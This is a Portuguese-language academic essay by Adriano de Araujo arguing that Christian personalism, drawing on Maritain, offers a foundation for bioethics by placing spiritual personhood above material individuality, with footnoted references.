O Personalismo cristão como possível fundamentação para a bioética

O Personalismo cristão como possível fundamentação para a bioética

O Personalismo cristão como possível fundamentação para a bioética

Texto
apresentado na VIII Semana de Filosofia – Centro de Ciências e
Humanidades da Universidade Presbiteriana Mackenzie.

Por:
Adriano de Araujo

De todas as
concepções humanas a mais decepcionante é aquela herdada do empirismo
materialista cujo maior efeito é a promoção de um abastardamento da
espiritualidade humana em prol da sua individualidade material.

Desde Hobbes,
Locke, Hume, em seguida, Darwin, Spencer, Marx, Freud, entre muitos outros que
poderíamos mencionar; é que gradativamente verificou-se que a inteligência e a
vontade humana, de modo muito variado, restringiu-se ao campo do
material-sensível perdendo o seu senso real. Afinal, em nenhum outro momento da
história, como o nosso, ouviu-se tantos clamores exigindo a condição de estrita
animalidade para o homem.

Por
conseguinte, é com um certo estranhamento e espírito inquietante que nos
questionamos: Será que não passamos de macacos sem pêlos impelidos pela libido
e bem sucedidos na história?… Será que a inteligência e a vontade devem
permanecer no nível da sensibilidade irracional?… Será que devemos nos
figurar reduzidos apenas a um complexo físico-químico ou a um material orgânico
bem desenvolvido no espaço e no tempo?… Como é possível sustentarmos a
dignidade da pessoa humana, sua espiritualidade, inviolabilidade, integridade e
intimidade diante do exagero da materialidade individual que se faz tão
presente?…

Certamente o
personalismo cristão vai ao encontro de tais questionamentos e inquietações
suscitando a harmonia entre a individualidade material e a personalidade
espiritual. Como também, fornece uma visão do homem que transcende as
determinações do mundo físico, promovendo fundamentos para a emergência de uma
“ética da vida”, que é o caso da bioética.

Acerca do Indivíduo e da Pessoa

No
personalismo cristão considera-se o ser humano metido em dois pólos: um pólo
material que explicita sua individualidade, e outro pólo espiritual que
explicita sua personalidade. Eis-nos diante de dois aspectos reais do ser
humano que estão correlacionados e devem ser bem compreendidos.

A
individualidade fundamenta-se sob condições materiais, isto é, em que haja
determinada indeterminação determinável; afinal, é necessário considerar que a
matéria “… exige para ocupar no espaço uma posição distinta de uma outra
posição…”, “… pois é uma espécie de não ser, uma simples potência de
receptividade e de mutabilidade substancial, uma avidez para o ser”.[1]

E tomado
apenas pela sua individualidade, o homem tende a dispersar-se no múltiplo,
tende a desestruturar-se no espaço e no tempo, pois “a matéria tende de si
mesma para se decompor, como o espaço para se dividir” [2];
em outras palavras, como indivíduo, o homem permanece submetido ao determinismo
do mundo físico, pois, em tal condição, é parte de uma totalidade e jamais é
uma totalidade única; afinal, o indivíduo sempre se compõe e decompõe na
totalidade física, como por exemplo, o fruto que se compõe como parte da árvore
e ao separar-se dela, se decompõe e torna-se parte de outra coisa.

Porém,
enquanto material que é, o indivíduo exige e ostenta uma energia metafísica que
sirva de sustentáculo da sua existência, o que, no caso do homem, é a própria
alma espiritual, ato primeiro de vida subsistente; ou seja, aquilo que
resguarda sua unidade substancial, a sua estrutura espaço-temporal, a sua
totalidade única; e que determina ou especifica sua materialidade individuante.

Ao nos
depararmos com a alma espiritual é que reconhecemos aquele princípio de unidade
criadora, de independência e liberdade; ou seja, que reconhecemos a pessoa
humana que somos. Com efeito, em contrário ao pensamento de muitos, enquanto
pessoas humanas, possuímos integridade, já que somos uma totalidade única
irredutível a qualquer outra totalidade; significa que: “… as pessoas não são
intercambiáveis, não são indivíduos numéricos: não são como os frangos. “Tenho
três galinhas” não tem o mesmo conteúdo que “tenho três filhos”, ainda que
coincidam quantitativamente” [3].

A personalidade
torna manifesto o centro metafísico do homem, a sua espiritualidade, aquela
fonte última da dignidade que expressa sua inviolabilidade na existência. E é
pelo ato de intensividade variável, em que o enriquecimento da assimilação
exterior cresce na mesma medida em que cresce a vida imanente; como também, na
tendência a realizar tal crescimento que identificamos o dinamismo próprio da
pessoa humana; ou seja, que identificamos aquela similitude divina em nós, que
é a inteligência e a vontade.

A inteligência
e a vontade são as faculdades imateriais e espirituais intrínsecas à
personalidade humana, pois são subsistentes e garantem nossa superioridade
diante de outros seres vivos. Como também, são faculdades que pela condição de
imaterialidade são imensuráveis organicamente, o que conseqüentemente torna o
homem, enquanto pessoa, livre das diversas determinações do mundo físico,
caracterizando a sua própria intimidade. “A intimidade indica um dentro que só
a própria pessoa conhece” [4],
e certamente tal intimidade, esse abrir-se para dentro, legitima sua
inviolabilidade espiritual; afinal, ela indica o que somos interiormente,
trata-se de nosso patrimônio pessoal que somente é revelado ou comunicado a
outros se quisermos.

Importa
ressaltar que a individualidade e a personalidade não existem separadas no
homem, pois são dois pólos complementares, e constituem a condição necessária
da nossa existência no mundo físico.

Entretanto, é
em ordem à personalidade que a individualidade se torna melhor. “Porque sem
dúvida, cada um dos meus atos é ato de mim indivíduo e ato de mim pessoa; mas
na medida em que é livre e me compromete inteiramente, cada um dos meus atos é
arrastado num movimento que vai para o centro supremo para que tende a
personalidade, ou num movimento que vai para a dispersão onde, entregue a si
mesma, a individualidade material exige recair” [5].

Assim, como
pessoas, sempre somos livres para nos entregarmos aos movimentos da própria
individualidade material, a tal ponto que nos representamos ou nos tornamos
camelos de si próprios ou macacos sem pêlos impelidos pela libido e bem
sucedidos na história; e até, mesmo que isso seja contraditório, negamos a
inteligência e a vontade reduzindo-as à sensibilidade irracional. Em outros
termos, o homem só pode negar a vida do espírito, porque é espiritual, porque é
pessoa humana. Eis a sua condição de liberdade!…

A Bioética e o Personalismo Cristão.

Na maioria
das vezes considera-se a bioética apenas como uma “ética aplicada” num sentido
absolutamente pragmático, isto é, como se houvesse o primado da ação sobre a
inteligência, em que a inteligência fosse incapaz de conhecer o real; sendo o
real apenas um bom resultado.

Na verdade,
perante as emergências atuais provenientes do progresso técnico-cientifico a
significação real da bioética possui um alcance muito maior, pois é “ética da
vida”; é o que podemos verificar nas palavras de Leo Pessini: “… ela vem
ganhando uma visibilidade, uma urgência toda especial na nossa sociedade
contemporânea, justamente porque nós temos fatos, acontecimentos e progressos
extraordinários no âmbito da ciência, na nossa ciência da vida e da saúde que
estão querendo alterar tudo no que se refere à vida na face da terra e do ser
humano em particular; daí a importância de que as novas gerações, a juventude
universitária de hoje esteja atenta, justamente às questões éticas implicadas
nesse progresso técnico-cientifico” [6].

Portanto,
enquanto “ética da vida”, a bioética possibilita e favorece todo um resgate da
ética cósmico-realista da tradição clássica tão presente no personalismo
cristão, a qual é metafísica e “fisicamente” fundada. Pois nela verifica-se
todo um interesse em conhecer e direcionar-se para a situação do homem no mundo
e as suas realidades extramentais, sempre considerando o progresso
técnico-cientifico.

E ao
apossar-se da bioética como “ética da vida” também nos afastamos daquela ética
acósmico-idealista regida por meio de postulados ditados por uma pseudo-razão
onde é predominante certa condição dedutivo-normativo. Afinal, todo
conhecimento originado de tal progresso deve ser bem sustentado eticamente.
Pois, “o que vai definir o uso desse conhecimento, dessa energia para o bem ou
para o mal é uma opção ética, por isso que a ética tem que estar estritamente
ligada com a questão cientifica e técnica” [7].

Não há
dúvidas que a prioridade da bioética está em preservar a integridade e
dignidade da pessoa humana no mundo, isto é, diante de tantos avanços
científicos e técnicos. E nada mais adequado que explicitarmos e
reconhecermo-nos mais como pessoas do que como indivíduos, ou seja, em
submetermos nossa individualidade material à personalidade espiritual.

Certamente
quando nos identificamos como pessoas passamos a respeitar a pessoa do outro,
nos tornamos mais dignos da verdadeira condição humana; entretanto, ao nos
identificarmos apenas como indivíduos passamos a oprimir o outro e ignoramos a
nossa própria dignidade, e mesmo enquanto humanos preferimos nos representar ou
agir como animais.

Sendo assim,
é elevando a condição de pessoa humana que o personalismo cristão pode
respaldar ou fundamentar a bioética que perpassa todos os âmbitos da vida.

__________

Referência bibliográfica

·       
MARITAIN, Jacques. A pessoa e o bem comum. Lisboa:
Livraria Moraes Editora, 1962.

·       
STORK, Y. Ricardo, ECHEVARRÍA, A. Javier. Fundamentos
de Antropologia.
São Paulo: Ed. Instituto Brasileiro de Filosofia e Ciência
Raimundo Lúlio, 2005.

Referência de consultas

·       
Entrevista concedida no “I Congresso de Bioética” realizado na
Universidade Presbiteriana Mackenzie em 2007.


[1] Cf. MARITAIN, Jacques. A pessoa e o bem comum. Lisboa:
Livraria Moraes Editora, 1962. p. 37.

[2]
Cf. Idem. Ibidem. p. 39.

[3] Cf. STORK, Y. Ricardo, ECHEVARRÍA, A. Javier. Fundamentos
de Antropologia. São Paulo: Ed. Instituto Brasileiro de Filosofia e Ciência
Raimundo Lúlio, 2005. p. 87.

[4]
Cf. Idem. Ibidem. p 83.

[5] Cf. MARITAIN, Jacques. A pessoa e o bem comum. Lisboa:
Livraria Moraes Editora, 1962. p. 45.

[6]
Entrevista concedida no “I Congresso de Bioética” realizado na Universidade
Presbiteriana Mackenzie em 2007.

[7]
Ibidem.

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